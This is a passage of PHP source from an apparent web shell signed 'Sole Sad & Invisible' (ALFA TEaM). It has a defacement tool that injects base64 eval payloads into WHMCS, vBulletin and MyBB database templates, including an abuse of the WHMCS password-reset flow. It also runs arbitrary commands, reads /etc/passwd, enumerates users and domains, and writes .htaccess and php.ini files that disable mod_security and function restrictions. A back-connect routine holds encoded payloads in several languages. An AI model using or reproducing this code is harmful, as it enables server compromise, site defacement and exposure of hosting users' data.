\'FFFFFF\', \'tdName\' => \'URL\', \'inputName\' => \'path\', \'inputValue\' => \'http://site.com/whmcs\', \'inputSize\' => \'50\'),\r\n \'td3\' =>\r\n array(\'color\' => \'FFFFFF\', \'tdName\' => \'File Name\', \'inputName\' => \'fname\', \'inputValue\' => \'\', \'inputSize\' => \'50\'),\r\n \'td4\' =>\r\n array(\'color\' => \'FFFFFF\', \'tdName\' => \'Db Name\', \'inputName\' => \'dbn\', \'id\' => \'db_name\', \'inputValue\' => \'\', \'inputSize\' => \'50\'),\r\n \'td5\' =>\r\n array(\'color\' => \'FFFFFF\', \'tdName\' => \'Db User\', \'inputName\' => \'dbu\', \'id\' => \'db_user\', \'inputValue\' => \'\', \'inputSize\' => \'50\'),\r\n \'td6\' =>\r\n array(\'color\' => \'FFFFFF\', \'tdName\' => \'Db Pass\', \'inputName\' => \'dbp\', \'id\' => \'db_pw\', \'inputValue\' => \'\', \'inputSize\' => \'50\')\r\n);\r\ncreate_table($table);\r\necho "<br><div class=\'txtfont\'>| Your Index |</div><br>\r\n<textarea name=index rows=\'19\' cols=\'103\'><title>Hacked By Sole Sad & Invisible</title><b>Hacked By Sole Sad & Invisible</b></textarea><br>\r\n<input type=\'submit\' value=\' \'>\r\n</form></center></center>";\r\nif(isset($_POST[\'alfa6\'])){\r\n$s0levisible="Powered By Solevisible";\r\n$dbu = $_POST[\'alfa6\'];\r\n$path = $_POST[\'alfa5\'];\r\n$fname = $_POST[\'alfa4\'];\r\n$dbn = $_POST[\'alfa7\'];\r\n$dbp = $_POST[\'alfa8\'];\r\n$dbh = $_POST[\'alfa9\'];\r\n$index = $_POST[\'alfa10\'];\r\n$index = str_replace("\\\'","\'",$index);\r\n$deface = \'$x = base64_decode("\'.__ZW5jb2Rlcg($index).\'"); $solevisible = fopen("\'.$fname.\'","w"); fwrite($solevisible,$x);\';\r\n$saveData = __ZW5jb2Rlcg($deface);\r\n$Def = \'{php}eval(base64_decode("\'.$saveData.\'"));{/php}\';\r\nif(!empty($dbh)&&!empty($dbu)&&!empty($dbn)&&!empty($index)){\r\n$conn=@mysqli_connect($dbh,$dbu,$dbp,$dbn) or die(mysqli_error($conn));\r\n$soleSave=@mysqli_query($conn,"select message from tblemailtemplates where name=\'Password Reset Validation\'");\r\n$soleGet = mysqli_fetch_assoc($soleSave);\r\n$tempSave1 = $soleGet[\'message\'];\r\n$tempSave = str_replace("\'","\\\'",$tempSave1);\r\n$inject = "UPDATE tblemailtemplates SET message=\'$Def\' WHERE name=\'Password Reset Validation\'";\r\n$result=@mysqli_query($conn,$inject) or die (mysqli_error($conn));\r\n$create = "insert into tblclients (email) values(\'solevisible@fbi.gov\')";\r\n$result2 =@mysqli_query($conn,$create) or die (mysqli_error($conn));\r\nif(function_exists(\'curl_version\')){\r\n$AlfaSole = new AlfaCURL(true);\r\n$saveurl = $AlfaSole->Send($path."/pwreset.php");\r\n$getToken = preg_match("/name=\\"token\\" value=\\"(.*?)\\"/i",$saveurl,$token);\r\n$AlfaSole->Send($path."/pwreset.php","post","token={$token[1]}&action=reset&email=solevisible@fbi.gov");\r\n$backdata = "UPDATE tblemailtemplates SET message=\'{$tempSave}\' WHERE name=\'Password Reset Validation\'";\r\n$Solevisible = mysqli_query($conn,$backdata) or die (mysqli_error($conn));\r\n__alert(\'File Created...\');\r\necho "<br><pre id=\\"strOutput\\" style=\\"margin-top:5px\\" class=\\"ml1\\"><br><center><font color=red><a target=\'_blank\' href=\'".$path."/".$fname."\'>Click Here !</a></font></b></center><br><br>";\r\n}else{\r\necho "<br><pre id=\\"strOutput\\" style=\\"margin-top:5px\\" class=\\"ml1\\"><br><center><b><font color=\\"#FFFFFF\\">Please go to Target </font><font color=red>\\" ".$path."/pwreset.php \\"</font><br/><font color=\\"#FFFFFF\\"> and reset password with email</font> => <font color=red>solevisible@fbi.gov</font><br/><font color=\\"#FFFFFF\\">and go to</font> <font color=red>\\" ".$path."/".$fname." \\"</font></b></center><br><br>";\r\n}}}}\r\nif(isset($_POST[\'alfa1\']) && ($_POST[\'alfa1\'] == \'vb\')){\r\necho __pre();\r\n\r\necho "<center><center><div class=\'txtfont_header\'>| vBulletin |</div>\r\n<p><center>".getConfigHtml(\'vb\')."<form onSubmit=\\"g(\'IndexChanger\',null,\'vb\',this.dbu.value,this.dbn.value,this.dbp.value,this.dbh.value,this.index.value,this.prefix.value,\'>>\'); return false;\\">\r\n";\r\n$table = array(\'td1\' =>\r\n array(\'color\' => \'FFFFFF\', \'tdName\' => \'Mysql Host\', \'inputName\' => \'dbh\', \'id\' => \'db_host\', \'inputValue\' => \'localhost\', \'inputSize\' => \'50\'),\r\n \'td2\' =>\r\n array(\'color\' => \'FFFFFF\', \'tdName\' => \'Db Name\', \'inputName\' => \'dbn\', \'id\' => \'db_name\', \'inputValue\' => \'\', \'inputSize\' => \'50\'),\r\n \'td3\' =>\r\n array(\'color\' => \'FFFFFF\', \'tdName\' => \'Db User\', \'inputName\' => \'dbu\', \'id\' => \'db_user\', \'inputValue\' => \'\', \'inputSize\' => \'50\'),\r\n \'td4\' =>\r\n array(\'color\' => \'FFFFFF\', \'tdName\' => \'Db Pass\', \'inputName\' => \'dbp\', \'id\' => \'db_pw\', \'inputValue\' => \'\', \'inputSize\' => \'50\'),\r\n \'td5\' =>\r\n array(\'color\' => \'FFFFFF\', \'tdName\' => \'Prefix\', \'inputName\' => \'prefix\', \'id\' => \'db_prefix\', \'inputValue\' => \'\', \'inputSize\' => \'50\')\r\n);\r\ncreate_table($table);\r\necho "<br><div class=\'txtfont\'>| Your Index |</div><br>\r\n<textarea name=\'index\' rows=\'19\' cols=\'103\'><title>Hacked By Sole Sad & Invisible</title><b>Hacked By Sole Sad & Invisible</b></textarea><br>\r\n<input type=\'submit\' value=\' \'></form></center></center>";\r\nif($_POST[\'alfa8\']==\'>>\'){\r\n$s0levisible="Powered By Solevisible";\r\n$dbu = $_POST[\'alfa2\'];\r\n$dbn = $_POST[\'alfa3\'];\r\n$dbp = $_POST[\'alfa4\'];\r\n$dbh = $_POST[\'alfa5\'];\r\n$index = $_POST[\'alfa6\'];\r\n$prefix = $_POST[\'alfa7\'];\r\n$index=str_replace("\\\'","\'",$index);\r\n$set_index = "{\\${eval(base64_decode(\\\'";\r\n$set_index .= __ZW5jb2Rlcg("echo \\"$index\\";");\r\n$set_index .= "\\\'))}}{\\${exit()}}";\r\nif(!empty($dbh)&&!empty($dbu)&&!empty($dbn)&&!empty($index)){\r\n$conn=@mysqli_connect($dbh,$dbu,$dbp,$dbn) or die(mysqli_error($conn));\r\n$loli1 = "UPDATE ".$prefix."template SET template=\'".$set_index."".$s0levisible."\' WHERE title=\'spacer_open\'";\r\n$loli2 = "UPDATE ".$prefix."template SET template=\'".$set_index."".$s0levisible."\' WHERE title=\'FORUMHOME\'";\r\n$loli3 = "UPDATE ".$prefix."style SET css=\'".$set_index."".$s0levisible."\', stylevars=\'\', csscolors=\'\', editorstyles=\'\'";\r\n@mysqli_query($conn,$loli1) or die (mysqli_error($conn));\r\n@mysqli_query($conn,$loli2) or die (mysqli_error($conn));\r\n@mysqli_query($conn,$loli3) or die (mysqli_error($conn));\r\n__alert(\'VB index changed...!\');\r\n}\r\n}\r\n}\r\nif(isset($_POST[\'alfa2\']) && ($_POST[\'alfa2\'] == \'mybb\')) {\r\necho __pre();\r\n\r\necho "<center><center><div class=\'txtfont_header\'>| Mybb |</div>\r\n<p><center>".getConfigHtml(\'mybb\')."<form onSubmit=\\"g(\'IndexChanger\',null,\'null\',\'mybb\',null,null,null,this.mybbdbh.value,this.mybbdbu.value,this.mybbdbn.value,this.mybbdbp.value,this.mybbindex.value); return false;\\" method=POST action=\'\'>\r\n";\r\n$table = array(\'td1\' =>\r\n array(\'color\' => \'FFFFFF\', \'tdName\' => \'Mysql Host\', \'inputName\' => \'mybbdbh\', \'id\' => \'db_host\', \'inputValue\' => \'localhost\', \'inputSize\' => \'50\'),\r\n \'td2\' =>\r\n array(\'color\' => \'FFFFFF\', \'tdName\' => \'Db Name\', \'inputName\' => \'mybbdbn\', \'id\' => \'db_name\', \'inputValue\' => \'\', \'inputSize\' => \'50\'),\r\n \'td3\' =>\r\n array(\'color\' => \'FFFFFF\', \'tdName\' => \'Db User\', \'inputName\' => \'mybbdbu\', \'id\' => \'db_user\', \'inputValue\' => \'\', \'inputSize\' => \'50\'),\r\n \'td4\' =>\r\n array(\'color\' => \'FFFFFF\', \'tdName\' => \'Db Pass\', \'inputName\' => \'mybbdbp\', \'id\' => \'db_pw\', \'inputValue\' => \'\', \'inputSize\' => \'50\')\r\n);\r\ncreate_table($table);\r\necho "<br><div class=\'txtfont\'>| Your Index |</div><br>\r\n<textarea name=mybbindex rows=\'19\' cols=\'103\'>\r\n<title>Hacked By Sole Sad & Invisible</title><b>Hacked By Sole Sad & Invisible</b></textarea><p><input type=\'submit\' value=\'\' ></p></form></center></center>";\r\nif(isset($_POST[\'alfa6\'])){\r\n$mybb_dbh = $_POST[\'alfa6\'];\r\n$mybb_dbu = $_POST[\'alfa7\'];\r\n$mybb_dbn = $_POST[\'alfa8\'];\r\n$mybb_dbp = $_POST[\'alfa9\'];\r\n$mybb_index = $_POST[\'alfa10\'];\r\nif(!empty($mybb_dbh)&&!empty($mybb_dbu)&&!empty($mybb_dbn)&&!empty($mybb_index)){\r\n$conn=@mysqli_connect($mybb_dbh,$mybb_dbu,$mybb_dbp,$mybb_dbn) or die(mysqli_error($conn));\r\n$prefix="mybb_";\r\n$loli7 = "UPDATE ".$prefix."templates SET template=\'".$mybb_index."\' WHERE title=\'index\'";\r\n$result =@mysqli_query($conn,$loli7) or die (mysqli_error($conn));\r\n__alert(\'MyBB index changed...!\');\r\n}\r\n}\r\n}\r\necho "</div>";\r\nalfafooter();\r\n}\r\nfunction alfaproc()\r\n{\r\nalfahead();\r\necho "<Div class=header><br><center>";\r\nif(empty($_POST[\'ajax\'])&&!empty($_POST[\'alfa1\']))\r\n$_COOKIE[md5($_SERVER[\'HTTP_HOST\']).\'ajax\'] = false;\r\nif($GLOBALS[\'sys\']=="win"){\r\n$process=array(\r\n"Task List" =>"tasklist /V",\r\n"System Info" =>"systeminfo",\r\n"Active Connections" => "netstat -an",\r\n"Running Services" => "net start",\r\n"User Accounts" => "net user",\r\n"Show Computers" => "net view",\r\n"ARP Table" => "arp -a",\r\n"IP Configuration" => "ipconfig /all"\r\n);}else{\r\n$process=array(\r\n"Process status" => "ps aux",\r\n"Syslog" =>"cat /etc/syslog.conf",\r\n"Resolv" => "cat /etc/resolv.conf",\r\n"Hosts" =>"cat /etc/hosts",\r\n"Cpuinfo"=>"cat /proc/cpuinfo",\r\n"Version"=>"cat /proc/version",\r\n"Sbin"=>"ls -al /usr/sbin",\r\n"Interrupts"=>"cat /proc/interrupts",\r\n"lsattr"=>"lsattr -va",\r\n"Uptime"=>"uptime",\r\n"Fstab" =>"cat /etc/fstab"\r\n);}\r\nforeach($process as $n => $link){\r\necho \'<a href="javascript:void(0);" onclick="g(\\\'proc\\\',null,\\\'\'.$link.\'\\\')"> | \'.$n.\' | </a>\';\r\n}\r\necho "</center><br>";\r\nif(!empty($_POST[\'alfa1\'])){\r\necho "<pre class=\'ml1\' style=\'margin-top:5px\' >";\r\nif($GLOBALS["glob_chdir_false"]&&!empty($_POST["c"])){$cmd = "cd \'".addslashes($_POST["c"])."\';";}\r\necho alfaEx($cmd.$_POST[\'alfa1\'], true);\r\necho \'</pre>\';\r\n}\r\necho "</div>";\r\nalfafooter();\r\n}\r\nfunction alfasafe(){\r\nalfahead();\r\necho "<div class=header><center><br><div class=\'txtfont_header\'>| Auto ByPasser |</div>";\r\necho \'<h3><a href=javascript:void(0) onclick="g(\\\'safe\\\',null,\\\'php.ini\\\',null)">| PHP.INI | </a><a href=javascript:void(0) onclick="g(\\\'safe\\\',null,null,\\\'ini\\\')">| .htaccess(apache) | </a><a href=javascript:void(0) onclick="g(\\\'safe\\\',null,null,null,\\\'pl\\\')">| .htaccess(LiteSpeed) |</a><a href=javascript:void(0) onclick="g(\\\'safe\\\',null,null,null,null,\\\'passwd\\\')">| Read-Passwd | </a><a href=javascript:void(0) onclick="g(\\\'safe\\\',null,null,null,null,null,\\\'users\\\')">| Read-Users | </a><a href=javascript:void(0) onclick="g(\\\'safe\\\',null,null,null,null,null,null,\\\'valiases\\\')">| Get-User | </a><a href=javascript:void(0) onclick="g(\\\'safe\\\',null,null,null,null,null,null,null,null,\\\'domains\\\')">| Get-Domains | </a></center></h3>\';\r\nif(!empty($_POST[\'alfa8\']) && isset($_POST[\'alfa8\']) == \'domains\'){\r\nif(!_alfa_file_exists("/etc/virtual/domainowners")){\r\necho __pre();\r\n$solevisible9 = _alfa_file(\'/etc/named.conf\');\r\nif(is_array($solevisible9)){\r\nforeach($solevisible9 as $solevisible13){\r\nif(@eregi(\'zone\',$solevisible13)){\r\npreg_match_all(\'#zone "(.*)"#\',$solevisible13,$solevisible14);\r\nif(strlen(trim($solevisible14[1][0])) > 2){\r\necho $solevisible14[1][0].\'<br>\';\r\n}}}\r\n}\r\n}else{\r\necho __pre();\r\n$users = _alfa_file("/etc/virtual/domainowners");\r\nif(is_array($users)){\r\nforeach($users as $boz){\r\n$dom = explode(":",$boz);\r\necho $dom[0]."\\n";}}}}\r\nif(!empty($_POST[\'alfa6\']) && isset($_POST[\'alfa6\']) == \'valiases\'){\r\necho \'\r\n<form onsubmit="g(\\\'safe\\\',null,null,null,null,null,null,\\\'valiases\\\',this.site.value,null,\\\'>>\\\'); return false;" method="post" /><center><div class="txtfont">Url: </font><input type="text" placeholder="site.com" name="site" /> <input type="submit" value=" " name="go" /></form></center>\';\r\nif(isset($_POST[\'alfa9\']) && $_POST[\'alfa9\'] == \'>>\'){\r\nif(!_alfa_file_exists("/etc/virtual/domainowners")){\r\n$site = trim($_POST[\'alfa7\']);\r\n$rep = str_replace(array("https://","http://","www."),"",$site);\r\n$user = "";\r\nif(function_exists("posix_getpwuid") && function_exists("fileowner")){\r\n\tif($user = @posix_getpwuid(@fileowner("/etc/valiases/{$rep}"))){\r\n\t\t$user = $user[\'name\'];\r\n\t}\r\n}else{\r\n\tif(_alfa_can_runCommand(true,true)){\r\n\t\t$user = alfaEx("stat -c \'%U\' /etc/valiases/".$rep);\r\n\t}\r\n}\r\nif(!empty($user)&&$user!=\'root\'){\r\necho __pre()."<center><table border=\'1\'><tr><td><b><font color=\\"#FFFFFF\\">User: </b></font></td><td><b><font color=\\"#FF0000\\">{$user}</font></b></td></tr><tr><td><b><font color=\\"#FFFFFF\\">site: </b></font></td><td><b><font color=\\"#FF0000\\">{$rep}</font></b></td></tr></table></center>";\r\n}else {echo __pre().\'<center><b>No such file or directory Or Disable Functions is not NONE...</b></center>\';}\r\n}else{\r\n$site = trim($_POST[\'alfa7\']);\r\n$rep = str_replace(array("https://","http://","www."),"",$site);\r\n$users = _alfa_file("/etc/virtual/domainowners");\r\nforeach($users as $boz){\r\n$ex = explode(":",$boz);\r\nif($ex[0] == $rep){\r\necho __pre()."<center><table border=\'1\'>\r\n<tr><td><b><font color=\\"#FFFFFF\\">User: </b></font></td><td><b><font color=\\"#FF0000\\">".trim($ex[1])."</font></b></td></tr>\r\n<tr><td><b><font color=\\"#FFFFFF\\">site: </b></font></td><td><b><font color=\\"#FF0000\\">{$rep}</font></b></td></tr></table></center>";break;}}}}}\r\nif(!empty($_POST[\'alfa5\']) && isset($_POST[\'alfa5\'])){\r\nif(!_alfa_file_exists("/etc/virtual/domainowners")){\r\necho __pre();\r\n$i = 0;\r\nwhile ($i < 60000) {\r\n$line = @posix_getpwuid($i);\r\nif (!empty($line)) {\r\nwhile (list ($key, $vl) = each($line)){\r\necho $vl."\\n";\r\nbreak;}}$i++;}\r\n}else{echo __pre();\r\n$users = _alfa_file("/etc/virtual/domainowners");\r\nforeach($users as $boz){\r\n$user = explode(":",$boz);\r\necho trim($user[1]).\'<br>\';}}}\r\nif(!empty($_POST[\'alfa4\']) && isset($_POST[\'alfa4\'])){\r\necho __pre();\r\nif(_alfa_can_runCommand(true,true)){echo __read_file("/etc/passwd");}elseif(function_exists("posix_getpwuid")){\r\nfor($uid=0;$uid<60000;$uid++){\r\n$ara = @posix_getpwuid($uid);\r\nif(!empty($ara)){\r\nwhile(list ($key, $val) = each($ara)){\r\necho "$val:";\r\n}echo "\\n";}}\r\n}else{__alert(\'failed...\');}}\r\nif(!empty($_POST[\'alfa2\']) && isset($_POST[\'alfa2\'])){\r\n@__write_file($GLOBALS[\'cwd\'].".htaccess","#Generated By Sole Sad and Invisible\\n<IfModule mod_security.c>\\nSec------Engine Off\\nSec------ScanPOST Off\\n</IfModule>");\r\necho \'<center><b><big>htaccess for Apache created...!</center></b></big>\';\r\n}\r\nif(!empty($_POST[\'alfa1\'])&& isset($_POST[\'alfa1\'])){\r\n@__write_file($GLOBALS[\'cwd\']."php.ini","safe_mode=OFF\\ndisable_functions=ByPassed By Sole Sad & Invisible(ALFA TEaM)");\r\necho \'<center><b><big> php.ini created...!</center></b></big>\';\r\n}\r\nif(!empty($_POST[\'alfa3\']) && isset($_POST[\'alfa3\'])){\r\n@__write_file($GLOBALS[\'cwd\'].".htaccess","#Generated By Sole Sad and Invisible\\n<Files *.php>\\nForceType application/x-httpd-php4\\n</Files>\\n<IfModule mod_security.c>\\nSecFilterEngine Off\\nSecFilterScanPOST Off\\n</IfModule>");\r\necho \'<center><b><big>htaccess for Litespeed created...!</center></b></big>\';\r\n}\r\necho "<br></div>";\r\nalfafooter();\r\n}\r\nfunction __get_resource($content){\r\nreturn @gzinflate(__ZGVjb2Rlcg($content));\r\n}\r\nfunction __write_file($file, $content){\r\nif($fh = @fopen($file, "wb")){\r\nif(fwrite($fh, $content)!==false) return true;\r\n}\r\nreturn false;\r\n}\r\nfunction bcinit($evalType, $evalCode, $evalOptions, $evalArguments){\r\n$res = "<font color=\'green\'>[ Success...! ]</font>";\r\n$err = "<font color=\'red\'>[ Failed...! ]</font>";\r\nif($evalOptions!="") $evalOptions = $evalOptions." ";\r\nif($evalArguments!="") $evalArguments = " ".$evalArguments;\r\nif($evalType=="c"){\r\n$tmpdir = ALFA_TEMPDIR;\r\nchdir($tmpdir);\r\nif(is_writable($tmpdir)){\r\n$uniq = substr(md5(time()),0,8);\r\n$filename = $evalType.$uniq.".c";\r\n$path = $filename;\r\nif(__write_file($path, $evalCode)){\r\n$ext = ($GLOBALS[\'sys\']==\'win\')? ".exe":".out";\r\n$pathres = $filename.$ext;\r\n$evalOptions = "-o ".$pathres." ".$evalOptions;\r\n$cmd = "gcc ".$evalOptions.$path;\r\nalfaEx($cmd);\r\nif(is_file($pathres)){\r\nif(chmod($pathres, 0755)){\r\n$cmd = $pathres.$evalArguments;\r\nalfaEx($cmd);\r\n}else{$res = $err;}\r\nunlink($pathres);\r\n}else{$res = $err;}\r\nunlink($path);\r\n}else{$res = $err;}\r\n}\r\nreturn $res;\r\n}elseif($evalType=="java"){\r\n$tmpdir = ALFA_TEMPDIR;\r\nchdir($tmpdir);\r\nif(is_writable($tmpdir)){\r\nif(preg_match("/class\\ ([^{]+){/i",$evalCode, $r)){\r\n$classname = trim($r[1]);\r\n$filename = $classname;\r\n}else{\r\n$uniq = substr(md5(time()),0,8);\r\n$filename = $evalType.$uniq;\r\n$evalCode = "class ".$filename." { ".$evalCode . " } ";\r\n}\r\n$path = $filename.".java";\r\nif(__write_file($path, $evalCode)){\r\n$cmd = "javac ".$evalOptions.$path;\r\nalfaEx($cmd);\r\n$pathres = $filename.".class";\r\nif(is_file($pathres)){\r\nif(chmod($pathres, 0755)){\r\n$cmd = "java ".$filename.$evalArguments;\r\nalfaEx($cmd);\r\n}else{$res = $err;}\r\nunlink($pathres);\r\n}else{$res = $err;}\r\nunlink($path);\r\n}else{$res = $err;}\r\n}\r\nreturn $res;\r\n}\r\nreturn false;\r\n}\r\nfunction alfaconnect(){\r\nalfahead();\r\n$php="7VZta9swEP5e6H9QjaE2S5uXfhg0pDBYPw7KVtiHtjOOLNcitqVJ8pKxpb99d36L4zid17WwQV1wrbvTo0e6Oz1hSgnlKSaFMjy9d0bu9PBAM+MZnjAv5gk3hU3MPZ7ImFNuvDDOdOSg1Ta+umdGkxlhKxmLgDkWsQaktOchFL3js7O3OFj6MEizOMYBaw50BAMLUIAJub78+GG2Mkwl06tP49nxrX31+f3F8bR0g206nPN0CJNOuIXTE5z9QN7FoU+umZ8QHbE4Jg/k8AD9PCQOFVlqnIqyS2ZAyyU/Dg8IPLYEgNI3LU05I6saGRzBogFa1oTFmu1BnXSi6pvRXRO5No/vtpfw6SJfomAdZik1XKQeW3FttHMsaWpiLxRqcew2FuIBTN748vSgBzEK74yc4IYBxzjjtru0j5p2KTRfeVANmgeO2wFQUkTe1dlsGGHatVGQC08LuoCa0kx9Y8qxDJXnw+HoNP87t8gp0IeaYUqlovgP8yoiFURZkyKDw9YDclYztenOQj6lTGJcczcQYkQslsBAZ3MYOTKSXpb6CXPcARkBpptv0lrydLMPfMKl4oY5NgV2CdCFtNElHskpsS6sahF8lhGPGZ4oOQKk0Ici2UKqiyLE1ANic3J97orde4lvaORYQxrcEufmy62+e+MOOfYWnpVS7g5ujh1gGYB7U1VtdK69gCsHIgGCRtV3R7QtAGt7r62oTRsYxZPmEduyPEysFov8/En2RnzNIMIlc8jgooWP6AUNHxr7coWTkIi1k4TWxGbGRHNv60ZWaSw0a+WgMtalU2xxbzU059oB1ryvlP/dGZHZRflpSS4ZJM5SFtTZuMOxRMek27G1gFTY5EpQT0iWAstogKtiUXDZjMSUHEGmFdMiUxTYSqyY7d7Hp9Fe8xi6B0UAweCygp7oFTnuHTnpFUlbQWVPGZXt9lJ+QzIRYhaxyIrvgpXbXVO28uss5Tms9lBSbHdCzTFmFO4U5UPkEl8MXqheXS3MU6+xgvL3dCvHmwDggyKO6q42rOqtyorN21HrxwjU2+vDog5+nAp9EovJn7CY/D2Ljl7XXb3eeQEUp73PM97r2S6gvFcrb61p6+YPiEo9Ufa31TNEOSsaPSrvfZbia0v/nknb9LNr207uXrWtib9P2+AHa1910z3UrYeQ6VchexEh008SMv0kIdMvLmS65+Wt/ych0/+EkP2ORV8he2nN+gU=";\r\n$python="pVRtT9swEP6cSv0PxptWR80M7YY0wYJUQZjQBlRtp30AVqXOpYmWOpHtQPnCb5/tJG1AHUKaqra+V99z95zf7e2XUuwvUr4P/B4VjyrJebeTropcKCTAk+WiEDkDKb1cevJRf3P2B5Sn0hV0O4WPcbeT2N8IYiQTyDLC3KNuxzFx/jaejvMCOGGe9fFnotTZVZSX6pnTxTgwahBilzrlL7WuvkmAKgVHRk2rlFRAGBG336h0upZqVSjiUuAsj4D0ShV//NLTeSoIIVNpzmsMaYxySXm4gj0fc4WNzol9RuM0A54Tc7ujPXRjFKwIhrVt3CyYXPprBWJ1PJ4O/N778a+zk95xbdWqY9tymaCPKfr6AfelEiR2+xidtIXhVjIXQSbBFvCQ6NuR6aAVHSUeq4MjdGkC2D0ZHAw/uzQCCxFbiNgW68CaQaFq/yKUstI2uR2DWWMjwj05qDXOwhdAJYSCJQSz6BaRm9+38q7vYk94cRYupXG4+HZ1PQlOR9PAreN0qkWTo+5lEaqEpjJKBVnQpcjLggxcd+NkmsmSF9bGqEcJPCL/mmDj18Ki8xl+WVYKt11JqVDII4tUnw3WOruRKkebB9XkOg+11HCkqeBoSz58y3FfF78ExR4Mz/CJ3omlr5lBQ7G810tV9XXp+v7Q7oe/vBncdTuQtSyf2hYn0YehddGVwDpVuhtm6VKuSKFP0q+2kVZ/pJZG5/OLq2BWryqdXp9+n09nk2B0aWI0TGUsebEJmF7/mBuvdsx8EvycBqOzs4lnLn1ZvaSawREh+IDaD/YKOwBJs1TvAieHRjLM1Csfur7uAjPEsyvT4qB5R6jMAAqLbTu8navXUIDgJzTK4hDNIFyhqZkvetIT2M2JLSFeC8ebp2F3ls3D8KwZdmAGJtLEzTkHpghJ6mbsxnn4Bpzy/3C+Fv5GnNL9Cw==";\r\n$perl="lZLRjpNAFIav26TvMOJsC8kYWr1bpJFQ3DRrS8OwGmOVsPSsTKQDgVm3m+722Z0BVifGGL0755/Dd+Abnj+zb5vavmbcBv4dVVAXo+FtA2gZnp/TMvsGwhkNcdm4+EuoqiZ3DThUZS1QHEQr9yCg3jsbOnMnW7z5sNjOJ05/LkOnJTc5esEM+TS7MRXqtLfvZMysY4s788MV3QT+GbIvDedRLhHuVxBVXYry+p6nezAnIqsmliQ07SuZlIw3b5PlOojJmIb+ZULjKPBWBAvr4WHHwLS6bW+86OK9686s42g4wJWLVf9p+lmeDhoQilZWCkfDd4kCSSANkyi4ooG3WERkpkAD+RE7OaTG092uThg3cUWWazWSeOuPlrZ1ULBGAJfjr/Q0zTKQm3xCrW65JPrEOCGvuElRDOke0RyKAp223CDTdqisgCMaL5ZrYrwe+4bzFIRXMTHmehJEUZ/I5+AAGZJqtfVZUTZg+pbTFfRnoehaI8laJ6lWB2QCTWUlLweK5pfYl38Si/O+nXUtcxkHkaSilNpyXQpO3d+cYqafZyXnkKn7wamet/boP9gze3vzMTUs5ynp9elR709FfxP4f946W3BU+kz5Jz3+AA==";\r\n$ruby="tVb7b9M6FP7Z+SuMN0hzVxLGQ+h2N6vGU0ggqjG4QmQXtc5pYy11gu3QoW387fiVrqXt1ivd66p1es7n8/T52p07SSNFMmI8Af4di2b0I9jBhVK17CXJhKmiGcW0miajR08fn7nPQMC3hgnAoazoGajwWlAPVcGHUwiDIIcxlg09kwESoBrB8fHHZ5+/Dt4enbx6f/wuzqsZp0MJ8XSoaNEJp3LG+KV5TxmfzMKor0QDvfGwlBAAz51FAcPSOOlIJSJtOdV7gNgYv2IlxHDOpJJ9r9TagY8n5jCz0rg1EKvqqw7NGDbHbaRYFcCxSEU8kc2ok2RJ0iVZRiJsYT4N4aLRh46OX3+KS+ATVaTpfoD1MqIvD07Tn8k/Xx7c//P0Yr/75Go36dfpG65gAqLjEVFPB6vsGZmePB98APEdhI2TkG4dWQ1NZTykFGoHpHEtGFeY2DZgWUBZ4h6mFedAFeQZJxY3ggnj9sksHSivlO8FXljjlJoqsCUhnAPF0voZdwic15VQ+OTl8bv0XIGYHgw+7Kdhtjv4+0V2GB54vRYe2DskC3yf4eyv7N7dHGeHdnvodtIdm1c09wamsYuu2/TmPSYxifbIIVlCzQrdaVzq2CeglhMySwyZBAxCVOKZqEzypWlGziAT/d1kBe+rU8a0qKZ1mhKyAvEwY4fmOP4jYWshZpVp6e+ORiasG4aRM7zxRHt1cz0/VFXiR79TRhvRzse8QLcgXzChvWvLNwHNZd6k264jCw31ZcpmvRvLtC5pV6etE7oN/p+mBRtNvXkf11UNvFN2iSDRxSWrLlvzrDJsk+8RPZd7K76ugm3D/l22+L19FiBpc33vNfnN6QW4bMR1BjKmZbWQkUw5K4PWluvhErE9tAS5gdi0o1VqO9DSIrXf9k81x5oC+oAc4TrGsz8ejvF2Loory3pIbsFxyBEcQkvUhhAaa760jIaMu/+byFCb2Tzo1QullS1hSUdYWoJuISkbP1rDTMjLF6nIytBm4kHtoTU0g9rDi4zihUvk4US2d3bdmLCty29MsDmKdpBX3S5r/o1z8Mh10ym3nM4lp353m/8zsHbgkJ82E6WbM/1kJwz58XKTZ8FG8gs=";\r\n$node="nVHLasMwEDwrkH8QvliCoEDTW8ih9BPSW/pAtdeRQJZcSXYKIfn2yrKd5tGWYh+Ed2d2NDtquMWu4juNV9jCRy0tkDQTUuVvlTUZOJdSFgnL6aQJZA3+nBrKlPaQ8xZ4eY52nRMhM9oZBRdXda1I6VUEKBUo6fxd6rkTaUBkQXo3rFLcF8aWrOQ+E2T+ugssSen3XFbmDD4hPSlyu20CMCi0ZafZ/jEFeuvFarWg++kEtXwRyGEvlgXzHtZgG7CkqHXmpdHERR5ybGelB5Ic8YMqOH5qV19HD8dnnbT74P7rtgqiMUcSjZ7jTjDnc6mZBVeXQOg1ZGrPws1Jzj1PZoMTTNqa7gcnsVoebpXB2pHjf40Npm+mUXcKpqTzoGPKm7uXtnmYTkA5wNfZ35+ydxfZPxqtoYu9V5nF19wsotx/HgH9lj76IXY0Mm80Mmg0LuHDFw==";\r\n$c="tVJtb9owEP7cSv0PHp1ap/WAsO0TTaWoZBLaChHJNE0bilLHNKcZG8Vmgk7rb98lBArZi/alUqzcPff47nzPnYLicpkJcmVsBrqdX58cn+5hBaj738BMwl0TXJuOXS+E+QNuNP8mbCOghAU8HVCNwFIBVqhAUJbMU1C0NNLinjOepwW5QPP7l6nz4+T4qIwYxpn23D662PCSI4IV0ywrElAEShxmtLzveb3q1hG0Dahkls5Brj3/XTIcBXH/KbDQhfVyq5WhqdVAq4Lu1HH2OGX+tql+FVXS4cgfDCaJP/q84Rlv83JaF2DR+OZ9EsWTwL9l3ZojbEnSC0sNxj8kJaeiJpPgYxSUGdmZZgYehJ5RvW1hRl8YR6zA0jrRHagMU9DGBMiFcwasu3JrmsThCoXEtxufeynnoqrefeoJU3HWeiS+nKUkFumcRLmQkjx+VS3We7MlZstFD4mHnnvg9eqUayw7py2xKkdL4mBy662sKOb9MHK985fhp8H1eb+OIoSm4KSDj+qYnLyCVt2t1EZQXjk/8QhpBNlp+/pZtC23tLI2zN60nveDKPQWYjh1iWPdMi7dy31kl/2fGzEMw8k4HifxTbgTmXKtlOD2r8rWe9GIOY5z1T1Yj0pT87+amobnHnjPoanZaorfLw==";\r\n$java="lVRNb9swDD2nQP+D4JM9BG6T04bCwz6ww4ABHZbeuhwUhbG12rIg0XGCNPvtoz7sumsvPdiWyCfy8ZGybHRrkP3he57LNn93c3khJyYF6G2XF7rb1FIwUXNrGa93/A54c7q8mGkj9xyBWeRIgJ1UvI4wjQwOCGp